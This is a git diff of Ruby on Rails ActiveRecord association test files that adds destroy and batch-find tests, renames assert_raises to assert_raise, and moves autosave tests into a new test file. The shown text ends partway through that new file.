diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
index 1e3b423471..5e8b2cadfc 100644
--- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -381,6 +381,33 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_date_from_db Date.new(2004, 10, 10), Developer.find(1).projects.first.joined_on.to_date
end
+ def test_destroying
+ david = Developer.find(1)
+ active_record = Project.find(1)
+ david.projects.reload
+ assert_equal 2, david.projects.size
+ assert_equal 3, active_record.developers.size
+
+ assert_difference "Project.count", -1 do
+ david.projects.destroy(active_record)
+ end
+
+ assert_equal 1, david.reload.projects.size
+ assert_equal 1, david.projects(true).size
+ end
+
+ def test_destroying_array
+ david = Developer.find(1)
+ david.projects.reload
+
+ assert_difference "Project.count", -Project.count do
+ david.projects.destroy(Project.find(:all))
+ end
+
+ assert_equal 0, david.reload.projects.size
+ assert_equal 0, david.projects(true).size
+ end
+
def test_destroy_all
david = Developer.find(1)
david.projects.reload
@@ -616,7 +643,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
def test_updating_attributes_on_rich_associations
david = projects(:action_controller).developers.first
david.name = "DHH"
- assert_raises(ActiveRecord::ReadOnlyRecord) { david.save! }
+ assert_raise(ActiveRecord::ReadOnlyRecord) { david.save! }
end
def test_updating_attributes_on_rich_associations_with_limited_find_from_reflection
@@ -740,6 +767,14 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal developer, project.developers.find(:first)
assert_equal project, developer.projects.find(:first)
end
+
+ def test_self_referential_habtm_without_foreign_key_set_should_raise_exception
+ assert_raise(ActiveRecord::HasAndBelongsToManyAssociationForeignKeyNeeded) {
+ Member.class_eval do
+ has_and_belongs_to_many :friends, :class_name => "Member", :join_table => "member_friends"
+ end
+ }
+ end
def test_dynamic_find_should_respect_association_include
# SQL error in sort clause if :include is not included
@@ -767,12 +802,10 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal 1, developer.projects.count
end
- uses_mocha 'mocking Post.transaction' do
- def test_association_proxy_transaction_method_starts_transaction_in_association_class
- Post.expects(:transaction)
- Category.find(:first).posts.transaction do
- # nothing
- end
+ def test_association_proxy_transaction_method_starts_transaction_in_association_class
+ Post.expects(:transaction)
+ Category.find(:first).posts.transaction do
+ # nothing
end
end
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
index 428fb50013..30edf79a26 100644
--- a/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -70,6 +70,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 2, companies(:first_firm).limited_clients.find(:all, :limit => nil).size
end
+ def test_dynamic_find_last_without_specified_order
+ assert_equal companies(:second_client), companies(:first_firm).unsorted_clients.find_last_by_type('Client')
+ end
+
def test_dynamic_find_should_respect_association_order
assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find(:first, :conditions => "type = 'Client'")
assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
@@ -176,7 +180,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_find_ids
firm = Firm.find(:first)
- assert_raises(ActiveRecord::RecordNotFound) { firm.clients.find }
+ assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find }
client = firm.clients.find(2)
assert_kind_of Client, client
@@ -190,7 +194,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 2, client_ary.size
assert_equal client, client_ary.first
- assert_raises(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
+ assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
end
def test_find_string_ids_when_using_finder_sql
@@ -215,6 +219,45 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 1, firm.clients.find(:all, :conditions => "name = 'Summit'").length
end
+ def test_find_each
+ firm = companies(:first_firm)
+
+ assert ! firm.clients.loaded?
+
+ assert_queries(3) do
+ firm.clients.find_each(:batch_size => 1) {|c| assert_equal firm.id, c.firm_id }
+ end
+
+ assert ! firm.clients.loaded?
+ end
+
+ def test_find_each_with_conditions
+ firm = companies(:first_firm)
+
+ assert_queries(2) do
+ firm.clients.find_each(:batch_size => 1, :conditions => {:name => "Microsoft"}) do |c|
+ assert_equal firm.id, c.firm_id
+ assert_equal "Microsoft", c.name
+ end
+ end
+
+ assert ! firm.clients.loaded?
+ end
+
+ def test_find_in_batches
+ firm = companies(:first_firm)
+
+ assert ! firm.clients.loaded?
+
+ assert_queries(2) do
+ firm.clients.find_in_batches(:batch_size => 2) do |clients|
+ clients.each {|c| assert_equal firm.id, c.firm_id }
+ end
+ end
+
+ assert ! firm.clients.loaded?
+ end
+
def test_find_all_sanitized
firm = Firm.find(:first)
summit = firm.clients.find(:all, :conditions => "name = 'Summit'")
@@ -238,7 +281,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_find_in_collection
assert_equal Client.find(2).name, companies(:first_firm).clients.find(2).name
- assert_raises(ActiveRecord::RecordNotFound) { companies(:first_firm).clients.find(6) }
+ assert_raise(ActiveRecord::RecordNotFound) { companies(:first_firm).clients.find(6) }
end
def test_find_grouped
@@ -278,36 +321,36 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_create_with_bang_on_has_many_when_parent_is_new_raises
- assert_raises(ActiveRecord::RecordNotSaved) do
+ assert_raise(ActiveRecord::RecordNotSaved) do
firm = Firm.new
firm.plain_clients.create! :name=>"Whoever"
end
end
def test_regular_create_on_has_many_when_parent_is_new_raises
- assert_raises(ActiveRecord::RecordNotSaved) do
+ assert_raise(ActiveRecord::RecordNotSaved) do
firm = Firm.new
firm.plain_clients.create :name=>"Whoever"
end
end
def test_create_with_bang_on_has_many_raises_when_record_not_saved
- assert_raises(ActiveRecord::RecordInvalid) do
+ assert_raise(ActiveRecord::RecordInvalid) do
firm = Firm.find(:first)
firm.plain_clients.create!
end
end
def test_create_with_bang_on_habtm_when_parent_is_new_raises
- assert_raises(ActiveRecord::RecordNotSaved) do
+ assert_raise(ActiveRecord::RecordNotSaved) do
Developer.new("name" => "Aredridel").projects.create!
end
end
def test_adding_a_mismatch_class
- assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << nil }
- assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << 1 }
- assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << Topic.find(1) }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << nil }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << 1 }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << Topic.find(1) }
end
def test_adding_a_collection
@@ -317,81 +360,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 3, companies(:first_firm).clients_of_firm(true).size
end
- def test_adding_before_save
- no_of_firms = Firm.count
- no_of_clients = Client.count
-
- new_firm = Firm.new("name" => "A New Firm, Inc")
- c = Client.new("name" => "Apple")
-
- new_firm.clients_of_firm.push Client.new("name" => "Natural Company")
- assert_equal 1, new_firm.clients_of_firm.size
- new_firm.clients_of_firm << c
- assert_equal 2, new_firm.clients_of_firm.size
-
- assert_equal no_of_firms, Firm.count # Firm was not saved to database.
- assert_equal no_of_clients, Client.count # Clients were not saved to database.
- assert new_firm.save
- assert !new_firm.new_record?
- assert !c.new_record?
- assert_equal new_firm, c.firm
- assert_equal no_of_firms+1, Firm.count # Firm was saved to database.
- assert_equal no_of_clients+2, Client.count # Clients were saved to database.
-
- assert_equal 2, new_firm.clients_of_firm.size
- assert_equal 2, new_firm.clients_of_firm(true).size
- end
-
- def test_invalid_adding
- firm = Firm.find(1)
- assert !(firm.clients_of_firm << c = Client.new)
- assert c.new_record?
- assert !firm.valid?
- assert !firm.save
- assert c.new_record?
- end
-
- def test_invalid_adding_before_save
- no_of_firms = Firm.count
- no_of_clients = Client.count
- new_firm = Firm.new("name" => "A New Firm, Inc")
- new_firm.clients_of_firm.concat([c = Client.new, Client.new("name" => "Apple")])
- assert c.new_record?
- assert !c.valid?
- assert !new_firm.valid?
- assert !new_firm.save
- assert c.new_record?
- assert new_firm.new_record?
- end
-
- def test_invalid_adding_with_validate_false
- firm = Firm.find(:first)
- client = Client.new
- firm.unvalidated_clients_of_firm << client
-
- assert firm.valid?
- assert !client.valid?
- assert firm.save
- assert client.new_record?
- end
-
- def test_valid_adding_with_validate_false
- no_of_clients = Client.count
-
- firm = Firm.find(:first)
- client = Client.new("name" => "Apple")
-
- assert firm.valid?
- assert client.valid?
- assert client.new_record?
-
- firm.unvalidated_clients_of_firm << client
-
- assert firm.save
- assert !client.new_record?
- assert_equal no_of_clients+1, Client.count
- end
-
def test_build
company = companies(:first_firm)
new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
@@ -400,10 +368,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal "Another Client", new_client.name
assert new_client.new_record?
assert_equal new_client, company.clients_of_firm.last
- company.name += '-changed'
- assert_queries(2) { assert company.save }
- assert !new_client.new_record?
- assert_equal 2, company.clients_of_firm(true).size
end
def test_collection_size_after_building
@@ -428,11 +392,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_build_many
company = companies(:first_firm)
new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
-
assert_equal 2, new_clients.size
- company.name += '-changed'
- assert_queries(3) { assert company.save }
- assert_equal 3, company.clients_of_firm(true).size
end
def test_build_followed_by_save_does_not_load_target
@@ -463,10 +423,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal "Another Client", new_client.name
assert new_client.new_record?
assert_equal new_client, company.clients_of_firm.last
- company.name += '-changed'
- assert_queries(2) { assert company.save }
- assert !new_client.new_record?
- assert_equal 2, company.clients_of_firm(true).size
end
def test_build_many_via_block
@@ -480,10 +436,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 2, new_clients.size
assert_equal "changed", new_clients.first.name
assert_equal "changed", new_clients.last.name
-
- company.name += '-changed'
- assert_queries(3) { assert company.save }
- assert_equal 3, company.clients_of_firm(true).size
end
def test_create_without_loading_association
@@ -501,16 +453,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 2, first_firm.clients_of_firm.size
end
- def test_invalid_build
- new_client = companies(:first_firm).clients_of_firm.build
- assert new_client.new_record?
- assert !new_client.valid?
- assert_equal new_client, companies(:first_firm).clients_of_firm.last
- assert !companies(:first_firm).save
- assert new_client.new_record?
- assert_equal 1, companies(:first_firm).clients_of_firm(true).size
- end
-
def test_create
force_signal37_to_load_all_clients_of_firm
new_client = companies(:first_firm).clients_of_firm.create("name" => "Another Client")
@@ -703,7 +645,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_invalid_belongs_to_dependent_option_raises_exception
- assert_raises ArgumentError do
+ assert_raise ArgumentError do
Author.belongs_to :special_author_address, :dependent => :nullify
end
end
@@ -729,13 +671,37 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_deleting_type_mismatch
david = Developer.find(1)
david.projects.reload
- assert_raises(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(1) }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(1) }
end
def test_deleting_self_type_mismatch
david = Developer.find(1)
david.projects.reload
- assert_raises(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(Project.find(1).developers) }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(Project.find(1).developers) }
+ end
+
+ def test_destroying
+ force_signal37_to_load_all_clients_of_firm
+
+ assert_difference "Client.count", -1 do
+ companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first)
+ end
+
+ assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_destroying_a_collection
+ force_signal37_to_load_all_clients_of_firm
+ companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+ assert_equal 2, companies(:first_firm).clients_of_firm.size
+
+ assert_difference "Client.count", -2 do
+ companies(:first_firm).clients_of_firm.destroy([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
+ end
+
+ assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 0, companies(:first_firm).clients_of_firm(true).size
end
def test_destroy_all
@@ -843,15 +809,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert !firm.clients.include?(:first_client)
end
- def test_replace_on_new_object
- firm = Firm.new("name" => "New Firm")
- firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
- assert firm.save
- firm.reload
- assert_equal 2, firm.clients.length
- assert firm.clients.include?(Client.find_by_name("New Client"))
- end
-
def test_get_ids
assert_equal [companies(:first_client).id, companies(:second_client).id], companies(:first_firm).client_ids
end
@@ -879,15 +836,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert company.clients_using_sql.loaded?
end
- def test_assign_ids
- firm = Firm.new("name" => "Apple")
- firm.client_ids = [companies(:first_client).id, companies(:second_client).id]
- firm.save
- firm.reload
- assert_equal 2, firm.clients.length
- assert firm.clients.include?(companies(:second_client))
- end
-
def test_assign_ids_ignoring_blanks
firm = Firm.create!(:name => 'Apple')
firm.client_ids = [companies(:first_client).id, nil, companies(:second_client).id, '']
@@ -910,16 +858,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
].each {|block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasManyReflection, &block) }
end
-
- def test_assign_ids_for_through_a_belongs_to
- post = Post.new(:title => "Assigning IDs works!", :body => "You heared it here first, folks!")
- post.person_ids = [people(:david).id, people(:michael).id]
- post.save
- post.reload
- assert_equal 2, post.people.length
- assert post.people.include?(people(:david))
- end
-
def test_dynamic_find_should_respect_association_order_for_through
assert_equal Comment.find(10), authors(:david).comments_desc.find(:first, :conditions => "comments.type = 'SpecialComment'")
assert_equal Comment.find(10), authors(:david).comments_desc.find_by_type('SpecialComment')
@@ -1097,12 +1035,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
ActiveRecord::Base.store_full_sti_class = old
end
- uses_mocha 'mocking Comment.transaction' do
- def test_association_proxy_transaction_method_starts_transaction_in_association_class
- Comment.expects(:transaction)
- Post.find(:first).comments.transaction do
- # nothing
- end
+ def test_association_proxy_transaction_method_starts_transaction_in_association_class
+ Comment.expects(:transaction)
+ Post.find(:first).comments.transaction do
+ # nothing
end
end
diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb
index ad6a5d6840..97efca7891 100644
--- a/activerecord/test/cases/associations/has_many_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -1,14 +1,19 @@
require "cases/helper"
require 'models/post'
require 'models/person'
+require 'models/reference'
+require 'models/job'
require 'models/reader'
require 'models/comment'
require 'models/tag'
require 'models/tagging'
require 'models/author'
+require 'models/owner'
+require 'models/pet'
+require 'models/toy'
class HasManyThroughAssociationsTest < ActiveRecord::TestCase
- fixtures :posts, :readers, :people, :comments, :authors
+ fixtures :posts, :readers, :people, :comments, :authors, :owners, :pets, :toys
def test_associate_existing
assert_queries(2) { posts(:thinking);people(:david) }
@@ -87,6 +92,24 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert posts(:welcome).reload.people(true).empty?
end
+ def test_destroy_association
+ assert_difference "Person.count", -1 do
+ posts(:welcome).people.destroy(people(:michael))
+ end
+
+ assert posts(:welcome).reload.people.empty?
+ assert posts(:welcome).people(true).empty?
+ end
+
+ def test_destroy_all
+ assert_difference "Person.count", -1 do
+ posts(:welcome).people.destroy_all
+ end
+
+ assert posts(:welcome).reload.people.empty?
+ assert posts(:welcome).people(true).empty?
+ end
+
def test_replace_association
assert_queries(4){posts(:welcome);people(:david);people(:michael); posts(:welcome).people(true)}
@@ -228,12 +251,10 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert !person.posts.loaded?
end
- uses_mocha 'mocking Tag.transaction' do
- def test_association_proxy_transaction_method_starts_transaction_in_association_class
- Tag.expects(:transaction)
- Post.find(:first).tags.transaction do
- # nothing
- end
+ def test_association_proxy_transaction_method_starts_transaction_in_association_class
+ Tag.expects(:transaction)
+ Post.find(:first).tags.transaction do
+ # nothing
end
end
@@ -251,4 +272,8 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
author.author_favorites.create(:favorite_author_id => 3)
assert_equal post.author.author_favorites, post.author_favorites
end
+
+ def test_has_many_association_through_a_has_many_association_with_nonstandard_primary_keys
+ assert_equal 1, owners(:blackbeard).toys.count
+ end
end
diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb
index 14032a67c0..1ddb3f49bf 100644
--- a/activerecord/test/cases/associations/has_one_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -59,8 +59,8 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
end
def test_type_mismatch
- assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = 1 }
- assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = Project.find(1) }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = 1 }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = Project.find(1) }
end
def test_natural_assignment
@@ -76,7 +76,25 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
companies(:first_firm).save
assert_nil companies(:first_firm).account
# account is dependent, therefore is destroyed when reference to owner is lost
- assert_raises(ActiveRecord::RecordNotFound) { Account.find(old_account_id) }
+ assert_raise(ActiveRecord::RecordNotFound) { Account.find(old_account_id) }
+ end
+
+ def test_nullification_on_association_change
+ firm = companies(:rails_core)
+ old_account_id = firm.account.id
+ firm.account = Account.new
+ # account is dependent with nullify, therefore its firm_id should be nil
+ assert_nil Account.find(old_account_id).firm_id
+ end
+
+ def test_association_changecalls_delete
+ companies(:first_firm).deletable_account = Account.new
+ assert_equal [], Account.destroyed_account_ids[companies(:first_firm).id]
+ end
+
+ def test_association_change_calls_destroy
+ companies(:first_firm).account = Account.new
+ assert_equal [companies(:first_firm).id], Account.destroyed_account_ids[companies(:first_firm).id]
end
def test_natural_assignment_to_already_associated_record
@@ -193,28 +211,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
assert_equal account, firm.account
end
- def test_build_before_child_saved
- firm = Firm.find(1)
-
- account = firm.account.build("credit_limit" => 1000)
- assert_equal account, firm.account
- assert account.new_record?
- assert firm.save
- assert_equal account, firm.account
- assert !account.new_record?
- end
-
- def test_build_before_either_saved
- firm = Firm.new("name" => "GlobalMegaCorp")
-
- firm.account = account = Account.new("credit_limit" => 1000)
- assert_equal account, firm.account
- assert account.new_record?
- assert firm.save
- assert_equal account, firm.account
- assert !account.new_record?
- end
-
def test_failing_build_association
firm = Firm.new("name" => "GlobalMegaCorp")
firm.save
@@ -253,16 +249,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
firm.destroy
end
- def test_assignment_before_parent_saved
- firm = Firm.new("name" => "GlobalMegaCorp")
- firm.account = a = Account.find(1)
- assert firm.new_record?
- assert_equal a, firm.account
- assert firm.save
- assert_equal a, firm.account
- assert_equal a, firm.account(true)
- end
-
def test_finding_with_interpolated_condition
firm = Firm.find(:first)
superior = firm.clients.create(:name => 'SuperiorCo')
@@ -279,61 +265,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
assert_equal a, firm.account
assert_equal a, firm.account(true)
end
-
- def test_save_fails_for_invalid_has_one
- firm = Firm.find(:first)
- assert firm.valid?
-
- firm.account = Account.new
-
- assert !firm.account.valid?
- assert !firm.valid?
- assert !firm.save
- assert_equal "is invalid", firm.errors.on("account")
- end
-
-
- def test_save_succeeds_for_invalid_has_one_with_validate_false
- firm = Firm.find(:first)
- assert firm.valid?
-
- firm.unvalidated_account = Account.new
-
- assert !firm.unvalidated_account.valid?
- assert firm.valid?
- assert firm.save
- end
-
- def test_assignment_before_either_saved
- firm = Firm.new("name" => "GlobalMegaCorp")
- firm.account = a = Account.new("credit_limit" => 1000)
- assert firm.new_record?
- assert a.new_record?
- assert_equal a, firm.account
- assert firm.save
- assert !firm.new_record?
- assert !a.new_record?
- assert_equal a, firm.account
- assert_equal a, firm.account(true)
- end
-
- def test_not_resaved_when_unchanged
- firm = Firm.find(:first, :include => :account)
- firm.name += '-changed'
- assert_queries(1) { firm.save! }
-
- firm = Firm.find(:first)
- firm.account = Account.find(:first)
- assert_queries(Firm.partial_updates? ? 0 : 1) { firm.save! }
-
- firm = Firm.find(:first).clone
- firm.account = Account.find(:first)
- assert_queries(2) { firm.save! }
-
- firm = Firm.find(:first).clone
- firm.account = Account.find(:first).clone
- assert_queries(2) { firm.save! }
- end
def test_save_still_works_after_accessing_nil_has_one
jp = Company.new :name => 'Jaded Pixel'
@@ -350,8 +281,8 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
end
def test_has_one_proxy_should_not_respond_to_private_methods
- assert_raises(NoMethodError) { accounts(:signals37).private_method }
- assert_raises(NoMethodError) { companies(:first_firm).account.private_method }
+ assert_raise(NoMethodError) { accounts(:signals37).private_method }
+ assert_raise(NoMethodError) { companies(:first_firm).account.private_method }
end
def test_has_one_proxy_should_respond_to_private_methods_via_send
@@ -359,4 +290,20 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
companies(:first_firm).account.send(:private_method)
end
+ def test_save_of_record_with_loaded_has_one
+ @firm = companies(:first_firm)
+ assert_not_nil @firm.account
+
+ assert_nothing_raised do
+ Firm.find(@firm.id).save!
+ Firm.find(@firm.id, :include => :account).save!
+ end
+
+ @firm.account.destroy
+
+ assert_nothing_raised do
+ Firm.find(@firm.id).save!
+ Firm.find(@firm.id, :include => :account).save!
+ end
+ end
end
diff --git a/activerecord/test/cases/associations/has_one_through_associations_test.rb b/activerecord/test/cases/associations/has_one_through_associations_test.rb
index f65d76e2ce..12c598751b 100644
--- a/activerecord/test/cases/associations/has_one_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_through_associations_test.rb
@@ -115,8 +115,8 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
end
def test_has_one_through_proxy_should_not_respond_to_private_methods
- assert_raises(NoMethodError) { clubs(:moustache_club).private_method }
- assert_raises(NoMethodError) { @member.club.private_method }
+ assert_raise(NoMethodError) { clubs(:moustache_club).private_method }
+ assert_raise(NoMethodError) { @member.club.private_method }
end
def test_has_one_through_proxy_should_respond_to_private_methods_via_send
@@ -173,4 +173,20 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
assert_not_nil assert_no_queries { @new_detail.member_type }
end
+ def test_save_of_record_with_loaded_has_one_through
+ @club = @member.club
+ assert_not_nil @club.sponsored_member
+
+ assert_nothing_raised do
+ Club.find(@club.id).save!
+ Club.find(@club.id, :include => :sponsored_member).save!
+ end
+
+ @club.sponsor.destroy
+
+ assert_nothing_raised do
+ Club.find(@club.id).save!
+ Club.find(@club.id, :include => :sponsored_member).save!
+ end
+ end
end
diff --git a/activerecord/test/cases/associations/join_model_test.rb b/activerecord/test/cases/associations/join_model_test.rb
index 7a0427aabc..b1060d01af 100644
--- a/activerecord/test/cases/associations/join_model_test.rb
+++ b/activerecord/test/cases/associations/join_model_test.rb
@@ -510,13 +510,11 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
assert !author.comments.loaded?
end
- uses_mocha('has_many_through_collection_size_uses_counter_cache_if_it_exists') do
- def test_has_many_through_collection_size_uses_counter_cache_if_it_exists
- author = authors(:david)
- author.stubs(:read_attribute).with('comments_count').returns(100)
- assert_equal 100, author.comments.size
- assert !author.comments.loaded?
- end
+ def test_has_many_through_collection_size_uses_counter_cache_if_it_exists
+ author = authors(:david)
+ author.stubs(:read_attribute).with('comments_count').returns(100)
+ assert_equal 100, author.comments.size
+ assert !author.comments.loaded?
end
def test_adding_junk_to_has_many_through_should_raise_type_mismatch
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
index 77ee8d8fc4..17ed302465 100644
--- a/activerecord/test/cases/attribute_methods_test.rb
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -56,6 +56,18 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert_equal myobj, topic.content
end
+ def test_typecast_attribute_from_select_to_false
+ topic = Topic.create(:title => 'Budget')
+ topic = Topic.find(:first, :select => "topics.*, 1=2 as is_test")
+ assert !topic.is_test?
+ end
+
+ def test_typecast_attribute_from_select_to_true
+ topic = Topic.create(:title => 'Budget')
+ topic = Topic.find(:first, :select => "topics.*, 2=2 as is_test")
+ assert topic.is_test?
+ end
+
def test_kernel_methods_not_implemented_in_activerecord
%w(test name display y).each do |method|
assert !ActiveRecord::Base.instance_method_already_implemented?(method), "##{method} is defined"
@@ -88,7 +100,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
%w(save create_or_update).each do |method|
klass = Class.new ActiveRecord::Base
klass.class_eval "def #{method}() 'defined #{method}' end"
- assert_raises ActiveRecord::DangerousAttributeError do
+ assert_raise ActiveRecord::DangerousAttributeError do
klass.instance_method_already_implemented?(method)
end
end
diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb
new file mode 100644
index 0000000000..436f50d395
--- /dev/null
+++ b/activerecord/test/cases/autosave_association_test.rb
@@ -0,0 +1,901 @@
+require 'cases/helper'
+require 'models/bird'
+require 'models/company'
+require 'models/customer'
+require 'models/developer'
+require 'models/order'
+require 'models/parrot'
+require 'models/person'
+require 'models/pirate'
+require 'models/post'
+require 'models/reader'
+require 'models/ship'
+require 'models/ship_part'
+require 'models/treasure'
+
+class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
+ def test_autosave_should_be_a_valid_option_for_has_one
+ assert base.valid_keys_for_has_one_association.include?(:autosave)
+ end
+
+ def test_autosave_should_be_a_valid_option_for_belongs_to
+ assert base.valid_keys_for_belongs_to_association.include?(:autosave)
+ end
+
+ def test_autosave_should_be_a_valid_option_for_has_many
+ assert base.valid_keys_for_has_many_association.include?(:autosave)
+ end
+
+ def test_autosave_should_be_a_valid_option_for_has_and_belongs_to_many
+ assert base.valid_keys_for_has_and_belongs_to_many_association.include?(:autosave)
+ end
+
+ private
+
+ def base
+ ActiveRecord::Base
+ end
+end
+
+class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
+ def test_save_fails_for_invalid_has_one
+ firm = Firm.find(:first)
+ assert firm.valid?
+
+ firm.account = Account.new
+
+ assert !firm.account.valid?
+ assert !firm.valid?
+ assert !firm.save
+ assert_equal "is invalid", firm.errors.on("account")
+ end
+
+ def test_save_succeeds_for_invalid_has_one_with_validate_false
+ firm = Firm.find(:first)
+ assert firm.valid?
+
+ firm.unvalidated_account = Account.new
+
+ assert !firm.unvalidated_account.valid?
+ assert firm.valid?
+ assert firm.save
+ end
+
+ def test_build_before_child_saved
+ firm = Firm.find(1)
+
+ account = firm.account.build("credit_limit" => 1000)
+ assert_equal account, firm.account
+ assert account.new_record?
+ assert firm.save
+ assert_equal account, firm.account
+ assert !account.new_record?
+ end
+
+ def test_build_before_either_saved
+ firm = Firm.new("name" => "GlobalMegaCorp")
+
+ firm.account = account = Account.new("credit_limit" => 1000)
+ assert_equal account, firm.account
+ assert account.new_record?
+ assert firm.save
+ assert_equal account, firm.account
+ assert !account.new_record?
+ end
+
+ def test_assignment_before_parent_saved
+ firm = Firm.new("name" => "GlobalMegaCorp")
+ firm.account = a = Account.find(1)
+ assert firm.new_record?
+ assert_equal a, firm.account
+ assert firm.save
+ assert_equal a, firm.account
+ assert_equal a, firm.account(true)
+ end
+
+ def test_assignment_before_either_saved
+ firm = Firm.new("name" => "GlobalMegaCorp")
+ firm.account = a = Account.new("credit_limit" => 1000)
+ assert firm.new_record?
+ assert a.new_record?
+ assert_equal a, firm.account
+ assert firm.save
+ assert !firm.new_record?
+ assert !a.new_record?
+ assert_equal a, firm.account
+ assert_equal a, firm.account(true)
+ end
+
+ def test_not_resaved_when_unchanged
+ firm = Firm.find(:first, :include => :account)
+ firm.name += '-changed'
+ assert_queries(1) { firm.save! }
+
+ firm = Firm.find(:first)
+ firm.account = Account.find(:first)
+ assert_queries(Firm.partial_updates? ? 0 : 1) { firm.save! }
+
+ firm = Firm.find(:first).clone
+ firm.account = Account.find(:first)
+ assert_queries(2) { firm.save! }
+
+ firm = Firm.find(:first).clone
+ firm.account = Account.find(:first).clone
+ assert_queries(2) { firm.save! }
+ end
+end
+
+class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
+ def test_save_fails_for_invalid_belongs_to
+ assert log = AuditLog.create(:developer_id => 0, :message => "")
+
+ log.developer = Developer.new
+ assert !log.developer.valid?
+ assert !log.valid?
+ assert !log.save
+ assert_equal "is invalid", log.errors.on("developer")
+ end
+
+ def test_save_succeeds_for_invalid_belongs_to_with_validate_false
+ assert log = AuditLog.create(:developer_id => 0, :message=> "")
+
+ log.unvalidated_developer = Developer.new
+ assert !log.unvalidated_developer.valid?
+ assert log.valid?
